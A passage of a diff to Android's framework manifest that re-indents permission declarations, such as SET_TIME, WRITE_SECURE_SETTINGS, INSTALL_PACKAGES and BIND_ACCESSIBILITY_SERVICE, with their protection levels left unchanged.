+ android:label="@string/permlab_systemAlertWindow"
+ android:description="@string/permdesc_systemAlertWindow"
+ android:protectionLevel="signature|preinstalled|appop|pre23|development" />
<!-- @deprecated Use {@link android.Manifest.permission#REQUEST_COMPANION_RUN_IN_BACKGROUND}
@hide
-->
<permission android:name="android.permission.RUN_IN_BACKGROUND"
- android:label="@string/permlab_runInBackground"
- android:description="@string/permdesc_runInBackground"
- android:protectionLevel="signature" />
+ android:label="@string/permlab_runInBackground"
+ android:description="@string/permdesc_runInBackground"
+ android:protectionLevel="signature" />
<!-- @deprecated Use
{@link android.Manifest.permission#REQUEST_COMPANION_USE_DATA_IN_BACKGROUND}
@hide
-->
<permission android:name="android.permission.USE_DATA_IN_BACKGROUND"
- android:label="@string/permlab_useDataInBackground"
- android:description="@string/permdesc_useDataInBackground"
- android:protectionLevel="signature" />
+ android:label="@string/permlab_useDataInBackground"
+ android:description="@string/permdesc_useDataInBackground"
+ android:protectionLevel="signature" />
<!-- Allows a companion app to run in the background.
<p>Protection level: normal
@@ -1911,17 +1911,17 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.SET_WALLPAPER"
- android:label="@string/permlab_setWallpaper"
- android:description="@string/permdesc_setWallpaper"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_setWallpaper"
+ android:description="@string/permdesc_setWallpaper"
+ android:protectionLevel="normal" />
<!-- Allows applications to set the wallpaper hints.
<p>Protection level: normal
-->
<permission android:name="android.permission.SET_WALLPAPER_HINTS"
- android:label="@string/permlab_setWallpaperHints"
- android:description="@string/permdesc_setWallpaperHints"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_setWallpaperHints"
+ android:description="@string/permdesc_setWallpaperHints"
+ android:protectionLevel="normal" />
<!-- ============================================ -->
<!-- Permissions for changing the system clock -->
@@ -1931,15 +1931,15 @@
<!-- @SystemApi Allows applications to set the system time.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SET_TIME"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows applications to set the system time zone.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.SET_TIME_ZONE"
- android:label="@string/permlab_setTimeZone"
- android:description="@string/permdesc_setTimeZone"
- android:protectionLevel="signature|privileged" />
+ android:label="@string/permlab_setTimeZone"
+ android:description="@string/permdesc_setTimeZone"
+ android:protectionLevel="signature|privileged" />
<!-- ==================================================== -->
<!-- Permissions related to changing status bar -->
@@ -1950,9 +1950,9 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.EXPAND_STATUS_BAR"
- android:label="@string/permlab_expandStatusBar"
- android:description="@string/permdesc_expandStatusBar"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_expandStatusBar"
+ android:description="@string/permdesc_expandStatusBar"
+ android:protectionLevel="normal" />
<!-- ============================================================== -->
<!-- Permissions related to adding/removing shortcuts from Launcher -->
@@ -1963,16 +1963,16 @@
<p>Protection level: normal
-->
<permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"
- android:label="@string/permlab_install_shortcut"
- android:description="@string/permdesc_install_shortcut"
- android:protectionLevel="normal"/>
+ android:label="@string/permlab_install_shortcut"
+ android:description="@string/permdesc_install_shortcut"
+ android:protectionLevel="normal"/>
<!--This permission is no longer supported.
-->
<permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"
- android:label="@string/permlab_uninstall_shortcut"
- android:description="@string/permdesc_uninstall_shortcut"
- android:protectionLevel="normal"/>
+ android:label="@string/permlab_uninstall_shortcut"
+ android:description="@string/permdesc_uninstall_shortcut"
+ android:protectionLevel="normal"/>
<!-- ==================================================== -->
<!-- Permissions related to accessing sync settings -->
@@ -1983,25 +1983,25 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.READ_SYNC_SETTINGS"
- android:description="@string/permdesc_readSyncSettings"
- android:label="@string/permlab_readSyncSettings"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_readSyncSettings"
+ android:label="@string/permlab_readSyncSettings"
+ android:protectionLevel="normal" />
<!-- Allows applications to write the sync settings.
<p>Protection level: normal
-->
<permission android:name="android.permission.WRITE_SYNC_SETTINGS"
- android:description="@string/permdesc_writeSyncSettings"
- android:label="@string/permlab_writeSyncSettings"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_writeSyncSettings"
+ android:label="@string/permlab_writeSyncSettings"
+ android:protectionLevel="normal" />
<!-- Allows applications to read the sync stats.
<p>Protection level: normal
-->
<permission android:name="android.permission.READ_SYNC_STATS"
- android:description="@string/permdesc_readSyncStats"
- android:label="@string/permlab_readSyncStats"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_readSyncStats"
+ android:label="@string/permlab_readSyncStats"
+ android:protectionLevel="normal" />
<!-- ============================================ -->
<!-- Permissions for low-level system interaction -->
@@ -2010,12 +2010,12 @@
<!-- @SystemApi @hide Change the screen compatibility mode of applications -->
<permission android:name="android.permission.SET_SCREEN_COMPATIBILITY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to modify the current configuration, such
as locale. -->
<permission android:name="android.permission.CHANGE_CONFIGURATION"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- Allows an application to read or write the system settings.
@@ -2030,51 +2030,51 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.WRITE_SETTINGS"
- android:label="@string/permlab_writeSettings"
- android:description="@string/permdesc_writeSettings"
- android:protectionLevel="signature|preinstalled|appop|pre23" />
+ android:label="@string/permlab_writeSettings"
+ android:description="@string/permdesc_writeSettings"
+ android:protectionLevel="signature|preinstalled|appop|pre23" />
<!-- @SystemApi Allows an application to modify the Google service map.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.WRITE_GSERVICES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to call
{@link android.app.ActivityManager#forceStopPackage}.
@hide -->
<permission android:name="android.permission.FORCE_STOP_PACKAGES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to retrieve the content of the active window
An active window is the window that has fired an accessibility event. -->
<permission android:name="android.permission.RETRIEVE_WINDOW_CONTENT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Modify the global animation scaling factor.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SET_ANIMATION_SCALE"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @deprecated This functionality will be removed in the future; please do
not use. Allow an application to make its activities persistent. -->
<permission android:name="android.permission.PERSISTENT_ACTIVITY"
- android:label="@string/permlab_persistentActivity"
- android:description="@string/permdesc_persistentActivity"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_persistentActivity"
+ android:description="@string/permdesc_persistentActivity"
+ android:protectionLevel="normal" />
<!-- Allows an application to find out the space used by any package.
<p>Protection level: normal
-->
<permission android:name="android.permission.GET_PACKAGE_SIZE"
- android:label="@string/permlab_getPackageSize"
- android:description="@string/permdesc_getPackageSize"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_getPackageSize"
+ android:description="@string/permdesc_getPackageSize"
+ android:protectionLevel="normal" />
<!-- @deprecated No longer useful, see
{@link android.content.pm.PackageManager#addPackageToPreferred}
for details. -->
<permission android:name="android.permission.SET_PREFERRED_APPLICATIONS"
- android:protectionLevel="signature|verifier" />
+ android:protectionLevel="signature|verifier" />
<!-- Allows an application to receive the
{@link android.content.Intent#ACTION_BOOT_COMPLETED} that is
@@ -2090,9 +2090,9 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"
- android:label="@string/permlab_receiveBootCompleted"
- android:description="@string/permdesc_receiveBootCompleted"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_receiveBootCompleted"
+ android:description="@string/permdesc_receiveBootCompleted"
+ android:protectionLevel="normal" />
<!-- Allows an application to broadcast sticky intents. These are
broadcasts whose data is held by the system after being finished,
@@ -2101,90 +2101,90 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.BROADCAST_STICKY"
- android:label="@string/permlab_broadcastSticky"
- android:description="@string/permdesc_broadcastSticky"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_broadcastSticky"
+ android:description="@string/permdesc_broadcastSticky"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows mounting and unmounting file systems for removable storage.
<p>Not for use by third-party applications.-->
<permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows formatting file systems for removable storage.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.MOUNT_FORMAT_FILESYSTEMS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide -->
<permission android:name="android.permission.STORAGE_INTERNAL"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows access to ASEC non-destructive API calls
@hide -->
<permission android:name="android.permission.ASEC_ACCESS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows creation of ASEC volumes
@hide -->
<permission android:name="android.permission.ASEC_CREATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows destruction of ASEC volumes
@hide -->
<permission android:name="android.permission.ASEC_DESTROY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows mount / unmount of ASEC volumes
@hide -->
<permission android:name="android.permission.ASEC_MOUNT_UNMOUNT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows rename of ASEC volumes
@hide -->
<permission android:name="android.permission.ASEC_RENAME"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows applications to write the apn settings.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.WRITE_APN_SETTINGS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows applications to change network connectivity state.
<p>Protection level: normal
-->
<permission android:name="android.permission.CHANGE_NETWORK_STATE"
- android:description="@string/permdesc_changeNetworkState"
- android:label="@string/permlab_changeNetworkState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_changeNetworkState"
+ android:label="@string/permlab_changeNetworkState"
+ android:protectionLevel="normal" />
<!-- Allows an application to clear the caches of all installed
applications on the device.
<p>Protection level: system|signature
-->
<permission android:name="android.permission.CLEAR_APP_CACHE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to use any media decoder when decoding for playback
@hide -->
<permission android:name="android.permission.ALLOW_ANY_CODEC_FOR_PLAYBACK"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to install and/or uninstall CA certificates on
behalf of the user.
@hide -->
<permission android:name="android.permission.MANAGE_CA_CERTIFICATES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to do certain operations needed for
interacting with the recovery (system update) system.
@hide -->
<permission android:name="android.permission.RECOVERY"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows the system to bind to an application's task services
@hide -->
<permission android:name="android.permission.BIND_JOB_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<uses-permission android:name="android.permission.BIND_JOB_SERVICE"/>
<!-- Allows an application to initiate configuration updates
@@ -2193,24 +2193,24 @@
it off to the various individual installer components
@hide -->
<permission android:name="android.permission.UPDATE_CONFIG"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows the system to reset throttling in shortcut manager.
@hide -->
<permission android:name="android.permission.RESET_SHORTCUT_MANAGER_THROTTLING"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows the system to bind to the discovered Network Recommendation Service.
@SystemApi @hide -->
<permission android:name="android.permission.BIND_NETWORK_RECOMMENDATION_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<uses-permission android:name="android.permission.BIND_NETWORK_RECOMMENDATION_SERVICE"/>
<!-- Allows an application to enable, disable and change priority of
runtime resource overlays.
@hide -->
<permission android:name="android.permission.CHANGE_OVERLAY_PACKAGES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- ========================================= -->
<!-- Permissions for special development tools -->
@@ -2220,40 +2220,40 @@
<!-- @SystemApi Allows an application to read or write the secure system settings.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.WRITE_SECURE_SETTINGS"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to retrieve state dump information from system services.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.DUMP"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to read the low-level system log files.
<p>Not for use by third-party applications, because
Log entries can contain the user's private information. -->
<permission android:name="android.permission.READ_LOGS"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Configure an application for debugging.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SET_DEBUG_APP"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to set the maximum number of (not needed)
application processes that can be running.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SET_PROCESS_LIMIT"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to control whether activities are immediately
finished when put in the background.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SET_ALWAYS_FINISH"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allow an application to request that a signal be sent to all persistent processes.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SIGNAL_PERSISTENT_PROCESSES"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- ==================================== -->
<!-- Private permissions -->
@@ -2262,34 +2262,34 @@
<!-- @SystemApi Allows access to the list of accounts in the Accounts Service. -->
<permission android:name="android.permission.GET_ACCOUNTS_PRIVILEGED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows but does not guarantee access to user passwords at the conclusion of add account
@hide -->
<permission android:name="android.permission.GET_PASSWORD"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows applications to RW to diagnostic resources.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.DIAGNOSTIC"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to open, close, or disable the status bar
and its icons.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.STATUS_BAR"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to be the status bar. Currently used only by SystemUI.apk
@hide -->
<permission android:name="android.permission.STATUS_BAR_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to bind to third party quick settings tiles.
<p>Should only be requested by the System, should be required by
TileService declarations.-->
<permission android:name="android.permission.BIND_QUICK_SETTINGS_TILE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to force a BACK operation on whatever is the
top activity.
@@ -2297,28 +2297,28 @@
@hide
-->
<permission android:name="android.permission.FORCE_BACK"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to update device statistics.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.UPDATE_DEVICE_STATS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to collect battery statistics -->
<permission android:name="android.permission.GET_APP_OPS_STATS"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to update application operation statistics. Not for
use by third party apps.
@hide -->
<permission android:name="android.permission.UPDATE_APP_OPS_STATS"
- android:protectionLevel="signature|privileged|installer" />
+ android:protectionLevel="signature|privileged|installer" />
<!-- @SystemApi Allows an application to update the user app op restrictions.
Not for use by third party apps.
@hide -->
<permission android:name="android.permission.MANAGE_APP_OPS_RESTRICTIONS"
- android:protectionLevel="signature|installer" />
+ android:protectionLevel="signature|installer" />
<!-- @SystemApi Allows an application to open windows that are for use by parts
of the system user interface.
@@ -2326,7 +2326,7 @@
@hide
-->
<permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to manage (create, destroy,
Z-order) application tokens in the window manager.
@@ -2334,17 +2334,17 @@
@hide
-->
<permission android:name="android.permission.MANAGE_APP_TOKENS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows System UI to register listeners for events from Window Manager.
@hide -->
<permission android:name="android.permission.REGISTER_WINDOW_MANAGER_LISTENERS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows the application to temporarily freeze the screen for a
full-screen transition. -->
<permission android:name="android.permission.FREEZE_SCREEN"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to inject user events (keys, touch, trackball)
into the event stream and deliver them to ANY window. Without this
@@ -2353,16 +2353,16 @@
@hide
-->
<permission android:name="android.permission.INJECT_EVENTS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to register an input filter which filters the stream
of user events (keys, touch, trackball) before they are dispatched to any window. -->
<permission android:name="android.permission.FILTER_EVENTS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to retrieve the window token from the accessibility manager. -->
<permission android:name="android.permission.RETRIEVE_WINDOW_TOKEN"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to modify accessibility information from another app. -->
<permission android:name="android.permission.MODIFY_ACCESSIBILITY_DATA"
@@ -2374,11 +2374,11 @@
<!-- @hide Allows an application to collect frame statistics -->
<permission android:name="android.permission.FRAME_STATS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to temporary enable accessibility on the device. -->
<permission android:name="android.permission.TEMPORARY_ENABLE_ACCESSIBILITY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to watch and control how activities are
started globally in the system. Only for is in debugging
@@ -2387,13 +2387,13 @@
@hide
-->
<permission android:name="android.permission.SET_ACTIVITY_WATCHER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to call the activity manager shutdown() API
to put the higher-level system there into a shutdown state.
@hide -->
<permission android:name="android.permission.SHUTDOWN"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to tell the activity manager to temporarily
stop application switches, putting it into a special mode that
@@ -2401,7 +2401,7 @@
critical UI such as the home screen.
@hide -->
<permission android:name="android.permission.STOP_APP_SWITCHES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to retrieve private information about
the current top activity, such as any assist context it can provide.
@@ -2409,42 +2409,42 @@
@hide
-->
<permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to retrieve the current state of keys and
switches.
<p>Not for use by third-party applications.
@deprecated The API that used this permission has been removed. -->
<permission android:name="android.permission.READ_INPUT_STATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link android.inputmethodservice.InputMethodService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_INPUT_METHOD"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link android.media.midi.MidiDeviceService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_MIDI_DEVICE_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link android.accessibilityservice.AccessibilityService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.printservice.PrintService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_PRINT_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.printservice.recommendation.RecommendationService},
to ensure that only the system can bind to it.
@@ -2453,7 +2453,7 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_PRINT_RECOMMENDATION_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.nfc.cardemulation.HostApduService}
or {@link android.nfc.cardemulation.OffHostApduService} to ensure that only
@@ -2461,81 +2461,81 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_NFC_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by the PrintSpooler to ensure that only the system can bind to it.
@hide -->
<permission android:name="android.permission.BIND_PRINT_SPOOLER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by the CompanionDeviceManager to ensure that only the system can bind to it.
@hide -->
<permission android:name="android.permission.BIND_COMPANION_DEVICE_MANAGER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Must be required by the RuntimePermissionPresenterService to ensure
that only the system can bind to it.
@hide -->
<permission android:name="android.permission.BIND_RUNTIME_PERMISSION_PRESENTER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a TextService (e.g. SpellCheckerService)
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_TEXT_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.net.VpnService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_VPN_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.service.wallpaper.WallpaperService},
to ensure that only the system can bind to it.
<p>Protection level: system|signature
-->
<permission android:name="android.permission.BIND_WALLPAPER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link android.service.voice.VoiceInteractionService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_VOICE_INTERACTION"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.service.autofill.AutofillService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_AUTOFILL_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide TODO(b/37563972): remove once clients use BIND_AUTOFILL_SERVICE -->
<permission android:name="android.permission.BIND_AUTOFILL"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by hotword enrollment application,
to ensure that only the system can interact with it.
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.MANAGE_VOICE_KEYPHRASES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link com.android.media.remotedisplay.RemoteDisplayProvider},
to ensure that only the system can bind to it.
@hide -->
<permission android:name="android.permission.BIND_REMOTE_DISPLAY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.media.tv.TvInputService}
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_TV_INPUT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi
Must be required by a {@link com.android.media.tv.remoteprovider.TvRemoteProvider}
@@ -2544,7 +2544,7 @@
<p>Not for use by third-party applications. </p>
@hide -->
<permission android:name="android.permission.BIND_TV_REMOTE_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi
Must be required for a virtual remote controller for TV.
@@ -2552,39 +2552,39 @@
<p>Not for use by third-party applications. </p>
@hide -->
<permission android:name="android.permission.TV_VIRTUAL_REMOTE_CONTROLLER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to modify parental controls
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.MODIFY_PARENTAL_CONTROLS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to notify TV inputs by sending broadcasts.
<p>Protection level: signature|privileged
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.NOTIFY_TV_INPUTS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link android.media.routing.MediaRouteService}
to ensure that only the system can interact with it.
@hide -->
<permission android:name="android.permission.BIND_ROUTE_PROVIDER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by device administration receiver, to ensure that only the
system can interact with it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_DEVICE_ADMIN"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Required to add or remove another application as a device admin.
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.MANAGE_DEVICE_ADMINS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows low-level access to setting the orientation (actually
rotation) of the screen.
@@ -2592,33 +2592,33 @@
@hide
-->
<permission android:name="android.permission.SET_ORIENTATION"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows low-level access to setting the pointer speed.
<p>Not for use by third-party applications.
@hide
-->
<permission android:name="android.permission.SET_POINTER_SPEED"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows low-level access to setting input device calibration.
<p>Not for use by normal applications.
@hide -->
<permission android:name="android.permission.SET_INPUT_CALIBRATION"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows low-level access to setting the keyboard layout.
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.SET_KEYBOARD_LAYOUT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to query tablet mode state and monitor changes
in it.
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.TABLET_MODE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to request installing packages. Apps
targeting APIs greater than 25 must hold this permission in
@@ -2626,9 +2626,9 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"
- android:label="@string/permlab_requestInstallPackages"
- android:description="@string/permdesc_requestInstallPackages"
- android:protectionLevel="signature|appop" />
+ android:label="@string/permlab_requestInstallPackages"
+ android:description="@string/permdesc_requestInstallPackages"
+ android:protectionLevel="signature|appop" />
<!-- Allows an application to request deleting packages. Apps
targeting APIs greater than 25 must hold this permission in
@@ -2636,41 +2636,41 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.REQUEST_DELETE_PACKAGES"
- android:label="@string/permlab_requestDeletePackages"
- android:description="@string/permdesc_requestDeletePackages"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_requestDeletePackages"
+ android:description="@string/permdesc_requestDeletePackages"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows an application to install packages.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.INSTALL_PACKAGES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to clear user data.
<p>Not for use by third-party applications
@hide
-->
<permission android:name="android.permission.CLEAR_APP_USER_DATA"
- android:protectionLevel="signature|installer" />
+ android:protectionLevel="signature|installer" />
<!-- @hide Allows an application to get the URI permissions
granted to another application.
<p>Not for use by third-party applications
-->
<permission android:name="android.permission.GET_APP_GRANTED_URI_PERMISSIONS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to clear the URI permissions
granted to another application.
<p>Not for use by third-party applications
-->
<permission
- android:name="android.permission.CLEAR_APP_GRANTED_URI_PERMISSIONS"
- android:protectionLevel="signature" />
+ android:name="android.permission.CLEAR_APP_GRANTED_URI_PERMISSIONS"
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to delete cache files.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.DELETE_CACHE_FILES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to delete packages.
<p>Not for use by third-party applications.
@@ -2678,120 +2678,120 @@
when the application deleting the package is not the same application that installed the
package. -->
<permission android:name="android.permission.DELETE_PACKAGES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to move location of installed package.
@hide -->
<permission android:name="android.permission.MOVE_PACKAGE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to change whether an application component (other than its own) is
enabled or not.
<p>Not for use by third-party applications. -->
